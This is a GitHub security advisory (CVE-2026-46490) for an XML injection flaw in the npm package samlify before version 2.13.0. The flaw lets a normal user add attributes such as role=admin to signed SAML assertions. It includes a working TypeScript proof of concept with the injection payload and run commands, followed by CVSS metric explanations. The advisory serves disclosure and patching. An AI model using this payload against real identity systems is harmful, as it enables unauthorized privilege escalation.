Skip to content

samlify: XML Injection in AttributeValue Allows Privilege Escalation in Signed SAML Assertions

High severity GitHub Reviewed Published May 14, 2026 in tngan/samlify • Updated May 21, 2026

Package

npm samlify (npm)

Affected versions

< 2.13.0

Patched versions

2.13.0

Description

Summary

samlify’s template substitution only escapes attribute contexts. Values inserted into element text (e.g., <saml:AttributeValue>) are not escaped. A normal user can inject XML markup into an attribute value (e.g., email, name) and add new <saml:Attribute> elements inside the signed assertion. The IdP then signs the tampered assertion and the SP accepts the injected attributes as trusted. This allows privilege escalation when attributes are used for authorization (roles/groups).

Root Cause

src/libsaml.ts → replaceTagsByValue() only escapes placeholders when preceded by a quote (attribute context). Element text is inserted raw. The attribute builder inserts placeholders into element text:

<saml:AttributeValue ...>{attrUserX}</saml:AttributeValue>

Therefore, </saml:AttributeValue>…<saml:Attribute …> is accepted and signed.

Proof-of-concept

  • poc/attribute_injection.ts
import { readFileSync } from 'fs';
import * as samlify from '../index';
import * as validator from '@authenio/samlify-xsd-schema-validator';

samlify.setSchemaValidator(validator);

const { IdentityProvider, ServiceProvider, SamlLib: libsaml, Utility: util } = samlify as any;

const loginResponseTemplate = {
  context: '<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="{ID}" Version="2.0" IssueInstant="{IssueInstant}" Destination="{Destination}" InResponseTo="{InResponseTo}"><saml:Issuer>{Issuer}</saml:Issuer><samlp:Status><samlp:StatusCode Value="{StatusCode}"/></samlp:Status><saml:Assertion ID="{AssertionID}" Version="2.0" IssueInstant="{IssueInstant}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"><saml:Issuer>{Issuer}</saml:Issuer><saml:Subject><saml:NameID Format="{NameIDFormat}">{NameID}</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="{SubjectConfirmationDataNotOnOrAfter}" Recipient="{SubjectRecipient}" InResponseTo="{InResponseTo}"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="{ConditionsNotBefore}" NotOnOrAfter="{ConditionsNotOnOrAfter}"><saml:AudienceRestriction><saml:Audience>{Audience}</saml:Audience></saml:AudienceRestriction></saml:Conditions>{AttributeStatement}</saml:Assertion></samlp:Response>',
  attributes: [
    { name: 'mail', valueTag: 'user.email', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },
    { name: 'injection', valueTag: 'user.injection', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },
  ],
};

const idp = IdentityProvider({
  privateKey: readFileSync('./test/key/idp/privkey.pem'),
  privateKeyPass: 'q9ALNhGT5EhfcRmp8Pg7e9zTQeP2x1bW',
  isAssertionEncrypted: false,
  metadata: readFileSync('./test/misc/idpmeta.xml'),
  loginResponseTemplate,
});

const sp = ServiceProvider({
  privateKey: readFileSync('./test/key/sp/privkey.pem'),
  privateKeyPass: 'VHOSp5RUiBcrsjrcAuXFwU1NKCkGA8px',
  isAssertionEncrypted: false,
  metadata: readFileSync('./test/misc/spmeta.xml'),
});

const buildTemplate = (_idp: any, _sp: any, _binding: any, user: any) => (template: string) => {
  const now = new Date();
  const fiveMinutesLater = new Date(now.getTime() + 300_000);
  const tvalue = {
    ID: _idp.entitySetting.generateID(),
    AssertionID: _idp.entitySetting.generateID(),
    Destination: _sp.entityMeta.getAssertionConsumerService('post'),
    Audience: _sp.entityMeta.getEntityID(),
    SubjectRecipient: _sp.entityMeta.getAssertionConsumerService('post'),
    NameIDFormat: 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress',
    NameID: user.email,
    Issuer: _idp.entityMeta.getEntityID(),
    IssueInstant: now.toISOString(),
    ConditionsNotBefore: now.toISOString(),
    ConditionsNotOnOrAfter: fiveMinutesLater.toISOString(),
    SubjectConfirmationDataNotOnOrAfter: fiveMinutesLater.toISOString(),
    InResponseTo: 'request-id',
    StatusCode: 'urn:oasis:names:tc:SAML:2.0:status:Success',
    attrUserEmail: user.email,
    attrUserInjection: user.injection,
  };

  return { id: tvalue.ID, context: libsaml.replaceTagsByValue(template, tvalue) };
};

async function main() {
  const injection = [
    'safe',
    '</saml:AttributeValue></saml:Attribute>',
    '<saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">',
    '<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">admin</saml:AttributeValue>',
    '</saml:Attribute>',
    '<saml:Attribute Name="injection" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">',
    '<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">safe'
  ].join('');

  const user = { email: 'user@esaml2.com', injection };
  const { context: SAMLResponse } = await idp.createLoginResponse(
    sp,
    { extract: { request: { id: 'request-id' } } },
    'post',
    user,
    buildTemplate(idp, sp, 'post', user)
  );

  const xml = util.base64Decode(SAMLResponse, true).toString();
  console.log('--- Generated XML snippet ---');
  console.log(xml.slice(xml.indexOf('<saml:AttributeStatement'), xml.indexOf('</saml:AttributeStatement>') + 26));

  const { extract } = await sp.parseLoginResponse(idp, 'post', { body: { SAMLResponse } });

  console.log('Parsed attributes:', extract.attributes);
}

main().catch(err => {
  console.error('PoC failed:', err?.message || err);
  process.exitCode = 1;
});

Run:

  npm install --legacy-peer-deps
  npx ts-node poc/attribute_injection.ts

Impact

A normal user can inject arbitrary attributes (e.g., role=admin) into a signed assertion and have them parsed by sp.parseLoginResponse(). This can grant elevated privileges in SPs that trust SAML attributes.

References

@tngan tngan published to tngan/samlify May 14, 2026
Published to the GitHub Advisory Database May 21, 2026
Reviewed May 21, 2026
Last updated May 21, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

EPSS score

Weaknesses

XML Injection (aka Blind XPath Injection)

The product does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system. Learn more on MITRE.

CVE ID

CVE-2026-46490

GHSA ID

GHSA-34r5-q4jw-r36m

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.